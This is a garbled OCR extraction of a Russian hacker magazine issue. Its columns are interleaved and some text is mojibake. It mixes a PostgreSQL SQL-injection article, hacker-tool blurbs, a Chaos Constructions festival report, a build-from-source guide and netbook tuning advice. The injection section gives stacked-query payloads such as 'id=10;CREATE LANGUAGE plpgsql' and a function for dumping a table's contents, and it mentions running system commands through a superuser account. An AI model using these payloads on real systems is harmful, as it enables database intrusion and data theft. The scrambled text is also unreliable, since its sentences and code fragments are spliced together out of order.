ких строк. Пример: Id=10;SELECT version()::int;SELECT либо, если имеем права usesuper, создадим его
1 FROM pg_user WHERE 1=1 or 2=2 самостоятельно:
SELECT id,title,text
FROM news ВСЕ ПРЕЛЕСТИ USESUPER id=10;CREATE LANGUAGE 'plpgsql'
WHERE id=$id А теперь рассмотрим случай, когда запрос
AND is_enable=TRUE А вот и сама функция:
SELECT usesuper FROM pg_user WHERE
В этом случае использование символов «--» usename=current_user id=10;CREATE OR
нам не поможет, так как закомментируется REPLACE FUNCTION getall
только текущая строка. Чтобы реализовать возвращает значение true. Здесь у нас необъ- (text,text,text,text,text,text)
SQL-Injection, нужно составить синтаксически ятное поле для действий, начиная с вывода RETURNS text AS $func$
правильный запрос. В данном случае он будет всей информации из таблицы и заканчивая
выглядеть так: выполнением системных команд на сервере. DECLARE
Сейчас ты поймешь, что PostgreSQL не только schema ALIAS FOR $1;
Id=10;SELECT version()::int;SELECT мощная, но и в неумелых руках очень опасная table ALIAS FOR $2;
id FROM news WHERE 1=1 штука. column1 ALIAS FOR $3;
column2 ALIAS FOR $4;
PGSQL-BUGS — ИНОГДА ЗДЕСЬ ПОЯВЛЯЕТСЯ ИНТЕРЕСНАЯ column3 ALIAS FOR $5;
ИНФОРМАЦИЯ column4 ALIAS FOR $6;
count int;
i int;
temp text;
int_test text;
input_refc refcursor;
BEGIN
int_test := '';
OPEN input_refc FOR EXECUTE
$qr$SELECT count($qr$ || quote_
ident(column1) || $qr$) from $qr$ ||
quote_ident(schema) || $qr$.$qr$ ||
quote_ident(table);
FETCH input_refc into count;
CLOSE input_refc;
count := count — 1;
BEGIN
FOR i in 0..count LOOP
OPEN input_refc FOR
X-TOOLS
ПРОГРАММЫ ДЛЯ ХАКЕРОВ
ПРОГРАММА: FTP INDEXER CLASS [file] => Array (
ОС: *NIX/WIN [0] => blablabla.com.txt
АВТОР: SHARKY [1] => blablabla2.com.txt
Будь то чекинг фтп-акков или массовый ифрей- [2] => blablabla3.com.txt
минг — везде требуется софт, причем, разнопла- )
)
Array ( • mysql
[0] => /blablabla.com/phpmyadmin/ • apache
Сорец фтп-класса :) [1] => /blablabla2.com/phpmyadmin/ • postfix (èëè ëþáàÿ äðóãàÿ ïî÷òîâàÿ
[2] => /bck/phpmyadmin.txt ñèñòåìà)
нового характера, который объединяет лишь одно ) • mailx
— работа с фтп-протоколом. Зачастую утилы под • Perl-ìîäóëè:
свои нужды приходится кодить собственноручно, Словом, описывать класс почти бесполезно. DBI, Net-SNMP, Net-DNS, net-ping,
изобретая при этом велосипед :). Что ж, более на- Лучше один раз увидеть и заюзать :). MailTools, MIME-Lite, MIME-Base64,
прягаться не придется, к твоим услугам удобный P.S. Внося изменения в сорец — не забывай о XML-XPath, XML-Parser
PHP-класс от Sharky — «FTP Indexer Class». Как копирайтах автора.
видно из названия — класс предназначен для Кроме того, необходимо подружить апач и
индексации файлов и упрощения поиска. Приво- ПРОГРАММА: CFM мускул с UTF-8, — после чего можно переходить
дить сорец целиком в рубрике — дело неблаго- ОС: *NIX к установке (предварительно залогинившись
дарное, посему рассмотрим основные моменты: АВТОР: АЛЕКСЕЙ РЕМНЕВ под рутом):
1. Коннект и авторизация: Обрастая со временем множеством серверов,
используемых под разные задачи, мы неиз- ./cfm_install.pl -p <mysql_root_
$ftpic = new FtpIC([ñåðâåð], [ïîðò], бежно сталкиваемся с одной существенной password>
[òàéìàóò], [ëîãèí], [ïàðîëü], [Îòîá- проблемой — необходимостью следить за
ðàæåíèå îøèáîê]); каждым дедиком в отдельности. Однако с появ- В процессе инсталла будут созданы следующие
лением такой утилы, как CFM aka Complex For БД:
Например: Monitoring, порядок вещей меняется в корне.
Тулза представляет собой систему мониторинга • cfm_cfg — áàçà äëÿ êîíôèãóðàöèè
$ftpic = new FtpIC("blablabla.com", сетевой инфраструктуры и, что не может не è òåêóùåãî ñîñòîÿíèÿ îïðàøèâàåìûõ
21, 10, "admin", "12345", true); радовать, является полноценным OpenSource- óñòðîéñòâ
продуктом. Софтина осуществляет сбор данных • cfm_mon — áàçà äëÿ õðàíåíèÿ çíà÷å-
В случае удачной авторизации — TRUE, в про- с помощью snmp-протокола и совместима с íèé îïðîñà óñòðîéñòâ
тивном случае — FALSE. любым Линух-дистром. Стоит отметить, что кли- • cfm_traps — áàçà äëÿ õðàíåíèÿ ïî-
2. Структура файлов и папок: ентская часть системы реализована в качестве ëó÷åííûõ òðàïîâ
плагина для файрфокса, а серверная — написа-
$ftpic->tree([êîðíåâàÿ ïàïêà], на на перле и состоит из трех основных частей: В базе cfm_cfg находятся таблицы:
[ãëóáèíà ïîñòðîåíèÿ]);
• Ïîäñèñòåìà îïðîñà óñòðîéñòâ — • DEVCFG — êîíôèãóðàöèÿ îïðàøèâàåìûõ
Например: îïðåäåëÿåò äîñòóïíîñòü ðàçëè÷íûõ óñòðîéñòâ
äåâàéñîâ â ñèñòåìå • SNMPCFG — çíà÷åíèÿ îïðàøèâàåìûõ
$ftpic->tree("/www/", 2); • Ïîäñèñòåìà îïîâåùåíèÿ î âîçíèêíî- OID
âåíèè êðèòè÷åñêèõ ñîáûòèé — ðàññûëà- • SNMPVAL — òåêóùèå çíà÷åíèÿ îïðîñà
Пример выполнения: åò óâåäîìëåíèÿ íà ìûëî ïðè âîçíèêíî- • DEVSTS — òåêóùèé ñòàòóñ è ñ÷åò÷èê
âåíèè êðèòè÷åñêèõ ñîáûòèé îøèáîê êàæäîãî äåâàéñà
[stats] => Array ( • Ïîäñèñòåìà ïîëó÷åíèÿ òðàïîâ — • ALARMCFG — êîíôèã ñèñòåìû îïîâå-
а вовсе не конкурсы, семинары и наоборот ностальгировал по ста- лялось погонными сотнями, или ем акселерации на плате NeoGS,
иже с ними. По сути, раз в год, в рым компам и былым временам. В даже десятками, но это обычное и выдает такие эффекты, которых
конце августа, почти весь русский этом же году люди чинно выстрои- дело — народ брал качеством, а от обычного Спектрума ждать не
компьютерный андеграунд выби- лись в аккуратную очередь на вход, не количеством. Ни для кого, в приходится. Интересна также и
рается из своих берлог и со всего держа подмышками ноутбуки, и общем-то, не секрет, что наши де- работа, занявшая 4-е место — «8
мира съезжается в Питер, а на это, особой жажды общения за ними момейкеры пишут такие шедевры, bit snail» от svo. Простенькое, на
поверь, стоит посмотреть. замечено не было. Очевидно, это от которых завистливо подвывает первый взгляд, интро написано
На ЦЦ каждый может найти что-то связано с тем, что серьезных дядек и кусает локти вся западная сцена. для весьма редкой платформы
свое: кого-то больше заинтересуют на CC стало приезжать меньше, Так что, хоть CC и не дотягивает до Вектор 06ц, что само по себе
конкурсы (их здесь представ- а новые люди (которых, к счас- размаха той же Assembly, интерес- достойно всякого уважения и,
лен очень широкий спектр, от тью, было много), еще не успели ного здесь бывает немало. возможно, даже более высокого
паяльных и программерских, до распробовать запретный плод по В общих чертах можно сказать, места :).
демосценерских и просто креа- имени Chaos Constructions :). что больше всего работ на CC09 В Combined 64k Intro победила
тивных, например, на лучшее фото вполне традиционно представили мрачноватая и стильная «Write
или рисунок, сделанные на фес- ÄÅÌÎÑÖÅÍÀ спектрумисты, коих у нас до сих me, please» от f0x.
тивале), кого-то — компьютерная Большая часть времени CC, тради- пор немало, и они любят показать Первое место в Combined Demo
безопасность, а кого-то — общение ционно, посвящается всевозмож- класс. Теперь немного подроб- (объемом до 16 Мб) досталось
с людьми, посиделки за старыми ным конкурсам — в этом году на ностей о самых примечательных «Digere animo» от demarche, но
компьютерами и ностальгические фестивале состоялось без малого работах, о распределении мест и сам конкурс выглядел бледнова-
воспоминания. Все перечислен- 30 различных состязаний. Часть из победителях. то — имея в своем распоряжении
ное, помноженное на нефор- них проходит в режиме реального Интро «Yes we can» от Quite, более широкое поле деятельности,
мальную обстановку, порождает времени, другая же часть требует взявшее первое место в конкурсе авторы показали почти то же са-
непередаваемый коктейль. длительной подготовки, так что Combined 4k Intro — яркий пример мое, что и их коллеги из конкурсов
В этом году масштабность фес- прием работ начинается за не- того, почему нашей сцене завидует с жесткими ограничениями по
тиваля осталась примерно на сколько месяцев. весь запад. Визуал в «Yes we can» «весу» работ.
том же уровне, что и в 2007-2008 Последнее, как нетрудно дога- создается полностью за счет А вот с JavaFX demo и вовсе вы-
годах. Количество посетителей, даться, относится в основном шейдеров, и использовать такой шел небольшой казус — первое
количество конкурсов, а также их к демосцене — разнообразные прием, когда никаких объектов вне место пришлось отдать сереб-
участников сопоставимо с фестами демо, интро и так далее пишутся и видеокарты не просчитывается, у ряному призеру. А все из-за
прошлых лет, здесь ничего неожи- присылаются заранее, а во время нас начали едва ли не первыми в того, что победитель Александр
данного не случилось. Однако наш феста уже происходит показ работ мире. Это интро недаром застави- Щербатый, со своей «JavaFX
«засланный казачок» — Сергей и голосование. ло народ в зале затаить дыхание и HyperSphere», оказался со-
«Dlinyj» Долин, бывший в этом году Подробно рассказывать обо всех сорвало аплодисменты. Большин- трудником Sun Microsystems.
не только в числе посетителей, демосценерских работах, пытаясь ство людей, посетивших CC09, Так что поздравления прини-
но и в числе организаторов CC, описать все продемонстриро- вообще склоняются к мнению, что мал Eustas с «Express JavaFX
отметил, что публика на этот раз ванное мейкерами, пожалуй, все из всех демо-конкурсов в этом году Demo». Справедливости ради
вела себя гораздо приличнее, если равно, что пытаться в красках больше всего удался 4k Intro. Уж скажу, что отрыв по голосам
не сказать, скованнее. изложить чужие глюки, притом очень хороши были работы, при- у чуваков был небольшой —
Обычное дело для прошлых ЦЦ — записанные со слов третьего лица. том не только те, которым удалось меньше десятка.
люди, еще только стоя в очереди Проще говоря — полет фантазии занять призовые места. И, пожалуй, на этом покончим
на вход, уже создают маленькие мейкеров стоит увидеть собствен- Первое место в ZX 640k Demo с подробностями, потому как
тусовки и начинают обсуждать ными глазами, что я советую тебе взяла работа «The Link от Alone перечислять всех победителей
между собой самые разные темы. сделать — на диске ты найдешь Coder» от Invaders8, о которой можно очень и очень долго, а на
То есть, еще даже не успев пройти большую часть конкурсных работ даже сами организаторы говорят, перебор всех работ с ZX-конкур-
регистрацию, народ уже погружал- с CC09. что она скорее проходит вне сов, всего пиксельарта, графики
ся в атмосферу олдскула — знако- Число работ, присланных в этом конкурса. Дело в том, что эта и фото не хватит и половины
мился, делился новинками, или году на демо-конкурсы, не исчис- демка написана с использовани- журнала.
 ÝÒÎÌ ÃÎÄÓ ÑÐÅÄÈ Ó×ÀÑÒÍÈÊΠÕÀÊ-ÊÂÅÑÒÀ ÁÛËÈ большая уязвимость, нигде нельзя
оставлять стандартные логины-
«можно потрогать», но за ними даже нужно стало слегка банальным, но зрелище все равно «взрыва». На задание было потрачено 59 мин
посидеть и поработать, приобщаясь к нетлен- крайне захватывающее). 59 секунд минус это время).
ному и олдскульному, или наоборот — к новому Кстати, еще одна не менее впечатляющая часть
и оригинальному. «железного» Chaos Constructions — Real-time È ÅÙÅ ÊÎÅ-×ÒÎ
Каждый год здесь представляют уникальные Hardware Hack. Как понятно из названия, народ Если ты думаешь, что это все, то глубоко
экспонаты, в основном, конечно, собранные, в режиме реального времени ломает железки. ошибаешься. Кроме уже перечисленного,
найденные и возвращенные к жизни силами Процитирую правила конкурса: Chaos Constructions может похвастаться
самих коллекционеров. Впрочем, не подумай, «Конкурс проводится непосредственно на еще и семинарами по самым разным тема-
что на CC нет ничего, кроме седой древности, фестивале, в течение 1-3 часов. Каждый тикам. Например, в этом году были «раскры-
работавшей на перфокартах: представлены и из участников получает устройство (печат- ты темы» методов обхода Web Application
более «новые» девайсы, которые так или иначе ная плата с элементами, без корпуса), на Firewall и практического применения
чем-то примечательны. индикаторе которого идет обратный отсчет. JavaFX. Прошел мастер-класс по участию
Каждая машина заботливо сопровождается Задача — изучить и обезвредить устройство, в разработке свободного ПО на примере
листом с подробным ее описанием, а порой путем выставления на его входном разъеме ReactOS; продолжилась начатая еще на про-
даже с экскурсом в историю, цитатами из комбинации перемычек, останавливающей шлом ЦЦ дискуссия об ОС Фантом; и многие
Википедии и от руки нарисованными картин- обратный отсчет. Устройство реализовано на с удовольствием послушали исторический
ками. Рядом с техникой тусуются ее хозяева, жесткой логике с применением отечествен- семинар Sceneart history — о развитии
которые только рады рассказать подробности, ной элементной базы. Участникам предостав- направления двухмерной (2D) рисованной
все показать и обсудить. Например, своего ляются перемычки, светодиоды, резисторы, компьютерной графики, то есть, по сути, о
рода завсегдатаи выставки CC Easy John (http:// бумага, карандаш, справочная литература. демосцене и ее истории.
easyjohn.livejournal.com) и Сергей Фролов Победа присуждается тому, кто первым «За кадром» в этой статье останутся всена-
(http://www.leningrad.su/museum). Если эти назовет правильную комбинацию для своего родно любимые конкурсы по метанию жестких
имена тебе незнакомы, советую сходить по устройства. Помните, что своими действиями дисков и кибер-городки (аналог обычных
ссылкам, там много интересного: так, Сергей вы можете не только остановить, но и уско- городков, только фигуры здесь строят не из
Фролов обеспечил едва ли не половину парка рить отсчет! Во время конкурса участникам деревянных брусков, а из хардов, CD/DVD-
старой техники на CC09. не разрешается пользоваться компьютерами, приводов и другого «железа»). И совершенно
В остальном, чего только нет на «железной» час- собственной справочной литературой, собст- невозможно передать словами те чувства,
ти фестиваля... Наш резидент Dlinyj, к примеру, венным оборудованием». которые испытыаешь, сидя за компом, место
представлял роутер под Линуксом с приделан- Стоит ли говорить, что напряжение буквально которого в музее, за стеклом с сигнализацией.
ным к нему терминалом, с которого можно было витает в воздухе, так его ионизируя, что того и Равно как и нельзя передать тот азарт, что
вводить команды и управлять роутером, и эму- гляди проскочит разряд? :) Создается полное витает над участниками всевозможных рил-
лятор RFID-карточек. Были также и олдскульные ощущение того, что участники на самом деле таймовых состязаний; и увлеченность элект-
моноблоки, в которых наличествовало букваль- обезвреживают бомбы, имея в запасе всего ронщиков, с которой они что-то паяют, подклю-
но все, включая даже телефон — старая попытка одну попытку, как сапер из известной при- чают и доделывают прямо на ходу; и гордость
создать «офисный компьютер», которую в Intel говорки. Кто-то рисует на бумажках схемы, хозяев раритетных машин, и многое, многое
некогда сочли нерентабельной и заморозили кто-то экспериментирует, рискуя ошибиться. другое. Чтобы до конца понять, что же такое
проект. Ставшие ненужными компы тогда осели Ничего, казалось бы, замысловатого, но Chaos Constructions, нужно увидеть его свои-
в одной фирме, откуда их и «спасли». Было мно- сколько фана, если даже не сказать адрена- ми глазами, нужно проникнуться его духом и
жество Спектрумов, Amiga, Commodore и Atari. лина! Победителями этого нелегкого челлен- нужно его прожить. В свете того, что фестиваль
Была оборудованная приставками и компами джа стали: первое место — Павел Захаров ежегодный, такая возможность представится
геймзона, которая порадовала многих. Имелся (voice.el) 19:13; второе место — Конзуровс- уже в конце лета 2010 года, и не знаю, как ты, а
стенд оверклокеров, где ребята с overclockers. кий Александр 13:58; третье место — NOOP лично я ею пренебрегать не собираюсь. Ведь
ru химичили с жидким азотом (может это уже и (Борис) 12:15 (указано время, оставшееся до где еще можно увидеть такое? z
Танцы с бубном
и напильником
Все, что ты хотел знать о сборке из исходников
Рано или поздно все мы сталкиваемся с необходимостью сборки соф-
та из исходников. Причин тому огромное множество, а проблем, со-
провождающих этот процесс, еще больше. Что выбрать — архив tar.gz
или CVS-срез? Как накладывать патчи? Что делать, если в исходниках
нет скрипта configure? Как побороть ошибки компиляции? Как создать
дистрибутивный пакет и заставить программу работать? Ответы на эти
и многие другие вопросы ты найдешь в этой статье.
Ñ
татья разделена на несколько мета- Однако это не всегда будет самым удачным и отрицательный момент — нестабильность
разделов, пошагово описывающих выбором. Команды разработчиков некоторых хранящегося в VCS кода, которым, правда,
процесс сборки приложения и проектов допускают очень длительные пере- можно пренебречь: в больших и серьезных
установки его в систему. Ты можешь рывы между выпусками релизов своих детищ проектах экспериментальные и особо неус-
проглотить ее сразу или использовать как (вплоть до нескольких лет!), продолжая тойчивые нововведения обычно производят
справочник: разделы не зависят один от втихую работать над проектом. Причем это в отдельных ветках, а уже после вносят в
другого. совсем даже не намек на огромное количест- основной код.
во багов, которые программисты чинят днями Учитывая , что в последнее время развелось
ПОЛУЧЕНИЕ и ночами — просто необходимый объем функ- множество различных систем контроля версий,
ИСХОДНЫХ ТЕКСТОВ циональности еще не накопился. беру на себя обязанность описать процесс
Получить исходные тексты приложения Выход из ситуации кроется в том, чтобы побро- получения исходных текстов из репозитория
можно несколькими способами. Самый дить по сайту разработчиков и найти ссылку каждой из них:
простой и наименее трудозатратный — на ежемесячные/еженедельные/ежеднев- • CVS — уже мало где используется, но имеет
скачать архив tar.gz или tar.bz2 (или даже ные снапшоты. Если же ничего подобного на место быть:
tar.lzma) с официального сайта разработ- горизонте не виднеется, тогда бегом в святую
чиков. В этом случае достаточно распако- святых — VCS-репозиторий исходных текстов $ sudo apt-get install cvs
вать полученный файл с помощью одной проекта. $ cvs -z3 -d:pserver:anonymous@
из приведенных ниже команд и перейти к Использование репозитория VCS (системы cvs.bochs.sf.net:/cvsroot/bochs
следующему разделу статьи. контроля версий, к коим можно отнести CVS, checkout bochs
системы сборки, так и на этапе непосредствен- что пытаются использовать привычную коман-
ной компиляции приложения. Большинство из $ export CFLAGS="$CFLAGS -I/usr/ ду make для сборки приложения и получают
них связано с поиском тех или иных библиотек, local/include -I/opt/include -I/ гору ошибок о неправильном синтаксисе
заголовочных файлов и других компонентов, от usr/mysoft/include" мэйкфайла. Связано это с тем, что BSD-систе-
которых зависит работоспособность приложе- $ export LDFLAGS="$LDFLAGS -L/usr/ мы используют собственную версию make, не
ния. Их легко идентифицировать по более чем local/lib -L/opt/lib -L/usr/mysoft/ унаследовавшую весь ворох нововведений,
многословным сообщениям системы сборки: lib" сделанных в GNU Make. Поэтому следует
устанавливать gmake через систему портов и
Checking for qt4... no Встречаются и совсем хардкорные случаи, собирать приложение с его помощью (gmake
когда зависимость нужной версии установлена && gmake install).
В этом случае достаточно установить требуе- вместе со всеми заголовочными файлами в ка- Вторая загвоздка: пути поиска библиотек и
мый пакет (и его заголовочные файлы, которые талоги, расположенные по правильным путям, заголовочных файлов, без явного указания ко-
содержатся в пакетах *-dev) с помощью пакет- а конфигуратор все равно отказывается их на- торых во FreeBSD просто невозможно собрать
ного менеджера и вновь запустить процесс ходить. Придется лезть в сам скрипт configure сторонний софт.
конфигурирования. и комментировать все места, где производится Третья проблема зачастую останавливает
В некоторых случаях сборщик может искать не поиск зависимости. Обычно после такого вме- даже самых настойчивых. Имя ей — несов-
сам пакет, а только его заголовочные файлы, шательства конфигуратор сборщика отраба- местимость заголовочных файлов и систем-
выводя на экран сообщения вроде: тывает без ошибок, и программа благополучно ных библиотек, а истоки в собственном пути
собирается. BSD и отказе от использования компонентов
Checking for unistd.h... no Достаточно часто можно наткнуться на прило- GNU на системном уровне. FreeBSD (почти)
жения, которые не могут быть собраны новым совместима со стандартом POSIX, и правильно
Тогда придется обратиться к поиску google, компилятором (как это до недавнего времени написанные приложения собираются для нее
чтобы найти название пакета, содержащего было с эмулятором qemu). Поэтому, если ты без всяких проблем, но стоит программисту
необходимый заголовочный файл. встретил упоминание о чем-то подобном в задействовать какие-то Linux-специфичные
Но это еще не все, и ты можешь сильно README, просто установи рекомендованную системные вызовы или макрокоманды в своем
удивиться, обнаружив, что после установки автором версию компилятора и укажи путь к приложении — все, тупик. Сборка останавли-
пакета конфигуратор продолжает ругаться на нему через переменную CC перед запуском вается, и заставить ее продолжиться бывает
его отсутствие. Причин тому может быть три: сборщика: очень и очень сложно. Вот список проблем,
недоустановленные dev-пакеты, устаревшие с которыми может столкнуться пользователь
версии пакетов в дистрибутиве, неправиль- $ sudo apt-get install gcc-3.4 FreeBSD во время сборки приложения, ориен-
ные пути поиска библиотек и заголовочных $ export CC='which gcc-3.4' тированного на Linux-системы:
файлов. Но если первая проблема решается $ ./configure --prefix=/usr/local 1. Ругань компилятора на необъявленные
легко, то с двумя другими есть сложности. Ты функции. В заголовочных файлах (*.h) ядра и
можешь попытаться обновить необходимый ПРОБЛЕМЫ библиотеки языка Си между Linux и FreeBSD
пакет с помощью пакетного менеджера, но это КОМПИЛЯЦИИ В BSD есть отличие, — некоторые функции/системные
не сработает, если дистрибутив уже устарел, и В довесок ко всему перечисленному поль- вызовы могут быть объявлены в разных местах.
в качестве обновлений к нему выходят только зователи FreeBSD получают массу других Зачастую следует лишь набрать «man имя_
багфиксы, или если приложение требует проблем, корни которых растут из специфики функции» в терминале FreeBSD и посмотреть,
новейшую версию библиотеки, которую еще не самой операционной системы. Ведь, несмотря к какому заголовочному файлу она относится.
успели упаковать в пакет. Придется собирать на наличие системы портов, которая как раз Если хидер не включен в файл, обруганный
из исходников уже саму зависимость, а также и создана для того, чтобы автоматизировать компилятором, значит, проблема решится за
зависимость зависимости и т.д. процесс сборки стороннего софта, необходи- счет добавления строки «#include <заголо-
Проблема с неправильными путями поиска мость «ручного вмешательства» возникает вочный файл.h>» в исходник. Если же искомая
обычно связана: достаточно часто. Порты некоторых программ функция вообще отсутствует в системе, то
1. с ошибкой того, кто составлял правила для совсем не обновляются, другие помечены остается найти ее код на просторах интернета и
системы сборки; флагом BROKEN, а новый софт может пройти скопировать прямо в исходник.
2. установкой зависимости в нестандартный очень долгий путь перед включением в офици- 2. Ругань на отсутствующие макроопределения
каталог (например, если она тоже была собрана альное дерево. Вот и приходится выкачивать (по соглашению их имена пишутся заглавны-
из исходников). исходники и самостоятельно компилировать ми буквами). Корень проблемы, опять же, в
Ðåøåíèå: указать пути поиска через переменные программу, спотыкаясь по пути о множество различии заголовочных файлов, Linux-вари-
компилятора и линковщика перед запуском повсюду разбросанных камней. анты которых содержат множество подручных
сборщика: Часто новички входят в ступор просто от того, макроопределений, а их может и не быть в
Порой причину ошибки найти нелегко, — заботливы. Что делать? Первое: перечитать README. Воз-
даже обычный /bin/ls делает множество можно, в некоторых системах или при стечении определенных
неудачных попыток открытия файлов обстоятельств софтина не работает, о чем автор уже знает. WARNING
Второе: проверить, какие компоненты программа установила
в систему, и доступны ли они ей. Например, она может исполь-
зовать один из подкаталогов каталога /var для хранения своих
заголовочных файлах FreeBSD. Решение: найти код макро- временных файлов, а он почему-то не был создан или получил info
определения в интернете или Linux-хидерах и вставить его неправильные права доступа. Третье: запустить программу с • BSD-версия
прямо в исходник приложения. флагом '--help' и проверить, поддерживает ли она дебаг- команды patch не
3. Ругань на функции, которые являются системными вызо- режим с выводом диагностических сообщений на экран. поддерживает флаг
вами (проверяется с помощью обращения ко второй секции Если это так — включить его. Наверняка на экране появится ‘--dry-run’.
man-страниц в Linux). В большинстве случаев это тупик. сообщение об ошибке и, возможно, даже описание способов
Если сам разработчик не позаботился об опции, отвечаю- устранения. Четвертое: если это сервер, который ведет логи — • Осторожнее с рас-
щей за их отключение, единственный путь — переписыва- проверить их на наличие диагностических сообщений. ширениями tgz и tbz!
ние исходника, что сложно и недостойно. Если же ничего не помогло, задействуй тяжелую артиллерию. Такие архивы могут
В любой *nix-системе есть трассировщик системных вызо- содержать не исход-
УСТАНОВКА вов, предназначенный для отслеживания всех сисколлов, ный текст программы,
После сборки приложение необходимо установить. В подав- произведенных приложением, и проверки их возвращаемого а бинарный пакет
ляющем большинстве случаев эта операция выполняется значения. В Linux он зовется strace, а во FreeBSD — truss (хотя для установки
с помощью простой команды «make install» (или «scons через систему портов доступен и strace). Просто запусти про- в BSD-системе.
install»), которая копирует компоненты приложения на свои грамму под его управлением, и ты увидишь все ее обращения
места и устанавливает права доступа. Вот только удалить к операционной системе в режиме реального времени:
приложение после зачастую можно только с помощью
ручного затирания его файлов (может помочь также команда $ strace ñîôòèíà
«make uninstall», выполненная из корня исходников, но она INFO
наличествует далеко не всегда). Поэтому лучше прибегнуть к Вывод лучше смотреть с конца, постепенно пролистывая все
специализированным средствам для создания настоящего вызовы close в поисках последовательности вызовов open.
дистрибутивного пакета. Наиболее простое и эффективное Затем необходимо проверить, какие из последних вызовов open
из них — утилита checkinstall (http://checkinstall.izto.org), вернули отрицательный статус (-1), и просмотреть, к чему проис- info
предназначенная для создания пакетов в момент установки ходило обращение. В 95% случаев ошибка связана с отсутстви- • Система портов
программы из исходников. Ее уникальность в удивитель- ем (или недоступности вследствие неправильных прав доступа) Gentoo, ArchLinux или
ной простоте использования. Все, что нужно сделать для какого-либо файла или каталога. Трассировщик покажет все FreeBSD — отличный
создания пакета и установки его в систему — набрать одну из обращения к файлам, и найти недоступного будет несложно. источник инфор-
приведенных ниже команд вместо «make install»: мации о том, как
ФЛАГИ ОПТИМИЗАЦИИ правильно собрать
# checkinstall -R // RPM-ïàêåò Игры с флагами оптимизации — одна из основных причин программу с учетом
# checkinstall -D // Deb-ïàêåò краха или неправильной работы самостоятельно собранных всех зависимостей.
# checkinstall -S // Slackware приложений. Следует понимать, что любая оптимизация
выше уровня '-O1' (или просто '-O') потенциально опасна. • Если для запуска
После того как установка приложения будет завершена, Флаг '-O2', хоть и не страшен для большинства приложе- собранного би-
выполни команду strip для бинарников и библиотек при- ний, запросто убивает низкоуровневый код с ассемблерными нарника требуется
ложения с целью уменьшить их объем. Уже установленные вставками, а '-O3', активирующий агрессивный режим, подключить динами-
приложения можно «стрипнуть» с помощью двух команд: идущий против стандартов, легко отправляет в корку каждое ческие библиотеки,
второе приложение. Об остальных флагах и говорить не стоит, расположенные
# find / | xargs file | grep "executable" | они предназначены для весьма узкого круга приложений, в нестандартных
grep ELF | cut -f 1 -d : | xargs strip --strip- поэтому мы бы порекомендовали остановиться на следующих каталогах, используй
unneeded опциях оптимизации и беречь свои нервы и нервы других: ldconfig(8). При-
# find / | xargs file | grep "shared object" | • O — базовая оптимизация. Значительно увеличивает мер для OpenBSD:
grep ELF | cut -f 1 -d : | xargs strip --strip- скорость исполнения программы. «ldconfig /usr/local/
unneeded • O2 — стандартный уровень оптимизации. По сравнению lib /usr/X11R6/lib».
с '-O' несущественно увеличивает как размер бинарника,
ПРОБЛЕМЫ ЗАПУСКА так и скорость исполнения программы.
С гордостью за выполненную работу ты набираешь в терми- • Os — оптимизация уровня '-O2' в совокупности с флага-
нале заветную команду и — бац! — программа завершается, ми, уменьшающими размер.
не успев начать выполняться. Wtf? По всей видимости, где-то • fomit-frame-pointer — указываем компилятору не сохранять
в процессе инициализации программа встретила ошибку и указатель на кадр стека (так мы избегаем временных затрат на его
завершилась. Хорошо было бы увидеть хоть какое-то диагнос- сохранение и восстановление). Использование этого флага мо-
тическое сообщение, но далеко не все программисты столь жет благотворно повлиять на скорость исполнения программы.z
Собери
в дорогу Тукса
Как выжать максимум из Linux на нетбуке
Если верить статистике, каждый пятый проданный
в 2009 году ноутбук — нетбук. И это неудивительно
— при сравнительно невысокой стоимости они обла-
дают практически всеми возможностями «больших
братьев», но при этом имеют компактный размер и
малый вес. О том, как реализовать все возможности
нетбуков с помощью Linux, я и расскажу в этой статье.
Ч
аще всего нетбук используют не в ка- 802.11b/g Громкость выставлена на 80%.
честве основного рабочего инструмен- Êàìåðà 0,3 Ìï, 2 êàðäðèäåðà Также с помощью bootchart я протестировал
та (хотя я встречал и таких уникумов), 3-õ ýëåìåíòíàÿ 2200 ìÀ÷ áàòàðåÿ время загрузки.
а в качестве мобильного дополнения Перед проведением каких-либо оптимизаций
к десктопу или большому ноуту. При таком рас- Вместо стандартного дистрибутива Linpus были получены результаты:
кладе во главу угла ставится время автономной Linux Lite, не устраивающего меня по ряду
работы. К сожалению, достаточно прожорливые причин (основная претензия: мало и доволь- Âðåìÿ çàãðóçêè: 17 ñåêóíä
(если сравнивать с семейством ARM) процессор но старое ПО в репозитории), я установил на Â ðåæèìå âåá-ñåðôèíãà: 163 ìèíóòû
и чипсет, а также маленький размер батареи него тестовую версию Ubuntu 9.10 Netbook  ðåæèìå ïðîñìîòðà âèäåî: 118 ìèíóò
делают свое дело — максимальное время Remix (к моменту выхода статьи в печать уже
автономной работы не превышает 8 часов при должен выйти релиз). В качестве файловой КТО ВИНОВАТ И ЧТО ДЕЛАТЬ?
использовании батареи повышенной емкости, а системы и для корня, и для /home я выбрал Основным средством для контроля энерго-
в среднем для стандартной батареи составляет ext4. Swap-раздел не создавал из-за опасений потребления системы в целом и процессора
3-5 часов. за здоровье SSD. Несмотря на то, что Ubuntu в частности является замечательная утилита
Но время автономной работы достаточно сильно Netbook Remix изначально заточен под нетбу- PowerTOP, написанная в недрах компании Intel.
зависит от вариантов использования и опти- ки, имеется еще достаточно мест для приложе- С помощью PowerTOP можно получить следую-
мизации ОС. Правильным тюнингом ОС можно ния напильника. щую информацию:
добиться 10-50% прироста этого показателя. Чтобы увидеть все проведенные оптимизации в 1. Сколько и в каком режиме работает процес-
цифрах, был проведен ряд тестов. Так как нетбук сор. Чем дольше процессор работает в режиме
ЗНАКОМСТВО я использую, в основном, для веб-серфинга C3 или C4, тем меньше энергии он потребляет.
С ПОДОПЫТНЫМ или просмотра видео, то и тесты были выбраны 2. Количество пробуждений в секунду. Ясно, что
В качестве подопытного выступал прошедший соответствующие: чем меньше это число — тем лучше.
огонь, воду и не одну тысячу километров Acer 1. Для тестирования в режиме веб-серфинга 3. Текущее энергопотребление и ориентировоч-
Aspire One AOA110 с характеристиками: был написан небольшой bash-скрипт, который ное время работы от батареи.
в бесконечном цикле с интервалом в 30 секунд 4. Компоненты системы, вызывающие наиболь-
Ýêðàí 8,9" 1024 x 600 открывает в Firefox 3.5 несколько сайтов (google. шее количество пробуждений в секунду.
CPU Intel Atom N270 1.6 ÃÃö com, xakep.ru, linux.com) и закрывает браузер. 5. Подсказки, описывающие конкретные дейст-
×èïñåò Intel 945GSE Интернет во время теста раздается по Wi-Fi. вия, направленные на уменьшение энергопот-
ÎÇÓ 512 Ìá 2. При тестировании в режиме просмотра видео ребления.
Íàêîïèòåëü 8 Ãá SSD mplayer постоянно проигрывает знаменитый PowerTOP есть в репозитории Ubuntu и устанав-
